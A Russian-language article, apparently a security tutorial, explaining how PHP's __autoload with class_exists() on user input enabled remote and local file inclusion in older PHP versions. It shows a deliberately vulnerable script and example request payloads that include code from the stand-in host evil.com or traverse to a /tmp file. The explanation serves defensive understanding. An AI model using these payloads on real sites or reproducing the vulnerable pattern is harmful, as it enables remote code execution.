RFI (Remote File Inclusion) — та самая уязвимость, которая позволяет хакеру залить свой shell в твой блог на php-движке. За ней стоит фича, которая появилась в PHP начиная с пятой версии: автоматическая подгрузка классов. Она позволяет не включать каждый класс в скрипты через include
и require
— вместо этого применяется magic-функция autoload. С примером будет яснее.
<?php
function __autoload($class_name) {
include $class_name . '.php';
}
$obj = new MyClass1();
$obj2 = new MyClass2();
?>
Как видишь, здесь нет описания обоих классов. Но как только мы обращаемся к ним при создании объектов, происходит вызов __autoload
с именем неизвестного класса. Далее совершается попытка загрузить этот класс (с добавлением в конец .php). Удобная возможность.
Несмотря на то что теоретически имя класса может содержать только ограниченный набор символов (буквы, цифры, нижнее подчеркивание и слеш), до версий PHP 5.4.24 и 5.5.8 (не включительно) не имелось проверки на «нестандартные» символы, которые передавались функции autoload
. В результате если атакующий мог контролировать имя класса, то он мог выполнить в приложении классический Remote или Local File Inclusion. Для этого ему необходимо было иметь возможность передать имя класса в одну из функций (не считая передачи через оператор new
).
class_exists()
interface_exists()
method_exists()
property_exists()
is_subclass_of()
class_implements()
Это не весь перечень функций — другие проверки подвержены той же уязвимости. Вот как это работает:
<?php
function __autoload($class_name) {
include $class_name . '.php';
}
if(isset($_GET['class']) && class_exists($_GET['class'])) {
$obj = new $_GET['class'];
} else {
die('No class found');
}
/* Some code... */
?>
Здесь мы можем передать имя класса в параметре GET, и файл будет подгружен функцией autoload
при вызове class_exists
. Если в настройках PHP включены allow_url_include
и allow_url_fopen
, то можно без проблем использовать схемы и загружать код с внешнего хоста:
vuln.php?class=http://evil.com/more_evil.php
Если нет, то наша главная возможность — это LFI c помощью dir traversal. Используя ../
, мы можем перебраться в другую директорию и подгрузить файл оттуда. Куда именно нужно будет перебираться, зависит от ситуации. По сути, нам необходим какой-то файл в ОС, где мы контролируем содержимое хотя бы частично. Но это уже другая задачка.
vuln.php?class=../../../../../../../tmp/any/path/evil.php
Стоит отметить, что с учетом разнообразия версий PHP до сих пор на многих сайтах можно встретить уязвимую версию, поэтому вместо __autoload
рекомендуется использовать spl_autoload_register()
.